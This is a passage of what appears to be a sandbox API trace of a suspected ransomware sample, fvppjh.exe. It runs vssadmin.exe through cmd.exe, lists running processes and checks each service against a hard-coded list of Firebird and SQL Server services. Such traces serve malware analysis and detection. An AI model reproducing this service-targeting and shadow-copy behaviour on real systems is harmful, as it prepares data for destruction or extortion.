	[0169.184] Process32NextW (in: hSnapshot=0x504, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0169.184] lstrlenW (lpString="svchost.exe") returned 11
	[0169.184] Process32NextW (in: hSnapshot=0x504, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x830, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0169.185] lstrlenW (lpString="taskhostw.exe") returned 13
	[0169.185] Process32NextW (in: hSnapshot=0x504, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0169.185] lstrlenW (lpString="taskhostw.exe") returned 13
	[0169.185] Process32NextW (in: hSnapshot=0x504, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3f, th32ParentProcessID=0x9ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0169.186] lstrlenW (lpString="explorer.exe") returned 12
	[0169.186] Process32NextW (in: hSnapshot=0x504, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0169.186] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0169.186] Process32NextW (in: hSnapshot=0x504, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0169.187] lstrlenW (lpString="SearchUI.exe") returned 12
	[0169.187] Process32NextW (in: hSnapshot=0x504, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0169.187] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0169.187] Process32NextW (in: hSnapshot=0x504, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0169.187] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0169.187] Process32NextW (in: hSnapshot=0x504, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x9bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fvppjh.exe")) returned 1
	[0169.188] lstrlenW (lpString="fvppjh.exe") returned 10
	[0169.188] Process32NextW (in: hSnapshot=0x504, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdc0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0169.188] lstrlenW (lpString="cmd.exe") returned 7
	[0169.188] Process32NextW (in: hSnapshot=0x504, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0169.189] lstrlenW (lpString="conhost.exe") returned 11
	[0169.189] Process32NextW (in: hSnapshot=0x504, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 1
	[0169.189] lstrlenW (lpString="consent.exe") returned 11
	[0169.189] Process32NextW (in: hSnapshot=0x504, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1
	[0169.190] lstrlenW (lpString="vssadmin.exe") returned 12
	[0169.190] Process32NextW (in: hSnapshot=0x504, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0
	[0169.190] CloseHandle (hObject=0x504) returned 1
	[0169.190] Sleep (dwMilliseconds=0x1f4) 
	[0169.742] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41c08b8
	[0169.743] EnumServicesStatusExW (in: hSCManager=0x41c08b8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0) returned 0
	[0169.743] GetLastError () returned 0xea
	[0169.743] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x1bc4) returned 0x41e6cb8
	[0169.744] EnumServicesStatusExW (in: hSCManager=0x41c08b8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41e6cb8, cbBufSize=0x1bc4, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41e6cb8, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0) returned 1
	[0169.744] CloseServiceHandle (hSCObject=0x41c08b8) returned 1
	[0169.745] lstrlenW (lpString="Appinfo") returned 7
	[0169.745] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0169.745] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0169.745] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0169.745] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0169.745] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0169.745] lstrlenW (lpString="AppXSvc") returned 7
	[0169.745] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0169.745] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0169.745] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0169.745] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0169.745] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0169.745] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0169.745] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0169.745] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0169.745] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0169.745] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0169.745] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0169.745] lstrlenW (lpString="Audiosrv") returned 8
	[0169.745] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0169.745] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0169.745] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0169.745] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0169.745] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0169.746] lstrlenW (lpString="BFE") returned 3
	[0169.746] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0169.746] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0169.746] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0169.746] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0169.746] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0169.746] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0169.746] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0169.746] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0169.746] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0169.746] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0169.746] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0169.746] lstrlenW (lpString="CDPSvc") returned 6
	[0169.746] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0169.746] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0169.746] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0169.746] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0169.746] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0169.746] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0169.746] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0169.746] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0169.746] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0169.746] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0169.746] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0169.746] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0169.746] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0169.746] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0169.746] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0169.746] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0169.746] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0169.746] lstrlenW (lpString="CryptSvc") returned 8
	[0169.746] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0169.746] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0169.746] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0169.747] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0169.747] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0169.747] lstrlenW (lpString="DcomLaunch") returned 10
	[0169.747] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0169.747] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0169.747] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0169.747] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0169.747] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0169.747] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0169.747] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0169.747] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0169.747] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0169.747] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0169.747] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0169.747] lstrlenW (lpString="Dhcp") returned 4
	[0169.747] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0169.747] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0169.747] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0169.747] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0169.747] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0169.747] lstrlenW (lpString="Dnscache") returned 8
	[0169.747] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0169.747] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0169.747] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0169.747] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0169.747] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0169.747] lstrlenW (lpString="DPS") returned 3
	[0169.747] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0169.747] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0169.747] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0169.747] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0169.747] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0169.747] lstrlenW (lpString="DusmSvc") returned 7
	[0169.747] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0169.748] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0169.748] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0169.748] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0169.748] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0169.748] lstrlenW (lpString="EventLog") returned 8
	[0169.748] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0169.748] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0169.748] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0169.748] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0169.748] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0169.748] lstrlenW (lpString="EventSystem") returned 11
	[0169.748] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0169.748] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0169.748] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0169.748] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0169.748] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0169.748] lstrlenW (lpString="FontCache") returned 9
	[0169.748] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0169.748] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0169.748] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0169.748] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0169.748] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0169.748] lstrlenW (lpString="gpsvc") returned 5
	[0169.748] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0169.748] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0169.748] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0169.748] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0169.748] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0169.748] lstrlenW (lpString="iphlpsvc") returned 8
	[0169.748] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0169.748] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0169.748] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0169.748] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0169.748] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0169.748] lstrlenW (lpString="KeyIso") returned 6
	[0169.749] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0169.749] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0169.749] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0169.749] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0169.749] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0169.749] lstrlenW (lpString="LanmanServer") returned 12
	[0169.749] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0169.749] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0169.749] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0169.749] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0169.749] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0169.749] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0169.749] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0169.749] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0169.749] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0169.749] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0169.749] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0169.749] lstrlenW (lpString="lfsvc") returned 5
	[0169.749] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0169.749] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0169.749] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0169.749] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0169.749] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0169.749] lstrlenW (lpString="lmhosts") returned 7
	[0169.749] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0169.749] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0169.749] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0169.749] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0169.749] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0169.749] lstrlenW (lpString="LSM") returned 3
	[0169.749] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0169.749] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0169.749] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0169.749] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0169.749] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0169.750] lstrlenW (lpString="MpsSvc") returned 6
	[0169.750] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0169.750] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0169.750] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0169.750] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0169.750] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0169.750] lstrlenW (lpString="NcbService") returned 10
	[0169.750] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0169.750] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0169.750] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0169.750] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0169.750] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0169.750] lstrlenW (lpString="netprofm") returned 8
	[0169.750] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0169.750] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0169.750] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0169.750] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0169.750] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0169.750] lstrlenW (lpString="NgcSvc") returned 6
	[0169.750] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0169.750] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0169.750] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0169.750] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0169.750] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0169.750] lstrlenW (lpString="NlaSvc") returned 6
	[0169.750] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0169.750] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0169.750] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0169.750] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0169.750] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0169.750] lstrlenW (lpString="nsi") returned 3
	[0169.750] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0169.750] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0169.750] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0169.751] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0169.751] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0169.751] lstrlenW (lpString="PcaSvc") returned 6
	[0169.751] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0169.751] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0169.751] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0169.751] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0169.751] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0169.751] lstrlenW (lpString="PlugPlay") returned 8
	[0169.751] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0169.751] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0169.751] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0169.751] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0169.751] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0169.751] lstrlenW (lpString="Power") returned 5
	[0169.751] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0169.751] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0169.751] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0169.751] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0169.751] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0169.751] lstrlenW (lpString="ProfSvc") returned 7
	[0169.751] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0169.751] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0169.751] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0169.751] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0169.751] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0169.751] lstrlenW (lpString="RpcEptMapper") returned 12
	[0169.751] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0169.751] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0169.751] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0169.751] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0169.751] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0169.751] lstrlenW (lpString="RpcSs") returned 5
	[0169.751] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0169.752] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0169.752] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0169.752] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0169.752] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0169.752] lstrlenW (lpString="SamSs") returned 5
	[0169.752] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0169.752] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0169.752] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0169.752] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0169.752] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0169.752] lstrlenW (lpString="Schedule") returned 8
	[0169.752] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0169.752] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0169.752] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0169.752] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0169.752] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0169.752] lstrlenW (lpString="SecurityHealthService") returned 21
	[0169.752] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
